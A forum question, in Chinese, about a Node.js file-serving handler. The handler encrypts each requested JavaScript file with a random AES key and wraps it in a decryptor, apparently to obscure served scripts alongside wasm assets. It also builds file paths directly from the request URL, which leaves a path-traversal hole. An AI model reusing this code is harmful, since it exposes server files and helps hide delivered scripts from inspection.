我的代码部分:
const stats = (req, res) => {
res.setHeader('Access-Control-Allow-Origin', '*');
req.url = (req.url === '/') ? '/index.html' : req.url;
fs.readFile(__dirname + '/web' + req.url, (err, buf) => {
if (err) {
res.writeHead(301, {
'Location': 'https://' + conf.domain
});
res.end();
} else {
if (!req.url.match(/\.wasm$/) && !req.url.match(/\.mem$/)) {
buf = buf.toString().replace(/%domain%/g, conf.domain);
if (req.url.match(/\.js$/)) {
var randKey = rand(32);
tmp = fs.readFileSync(__dirname + '/tmpl.aes.min.js', 'utf8');
tmp = tmp.replace(/%aes_file%/g, enAES(randKey, buf));
tmp = tmp.replace(/%aes_key%/g, randKey);
buf = fs.readFileSync(__dirname + '/ka-lib.min.js', 'utf8');
buf += tmp;
res.setHeader('content-type', 'application/javascript');
}
} else {
res.setHeader('Content-Type', 'application/octet-stream');
}
res.end(buf);
}
});
}
//ssl support
if (ssl) {
var web = https.createServer({
key: fs.readFileSync(conf.key),
cert: fs.readFileSync(conf.cert)
}, stats)
} else {
var web = http.createServer(stats);
}
在我看来,当fs.readFile执行每个用户请求时会产生错误? 有人能指出我更好的解决方案,或者我错了吗?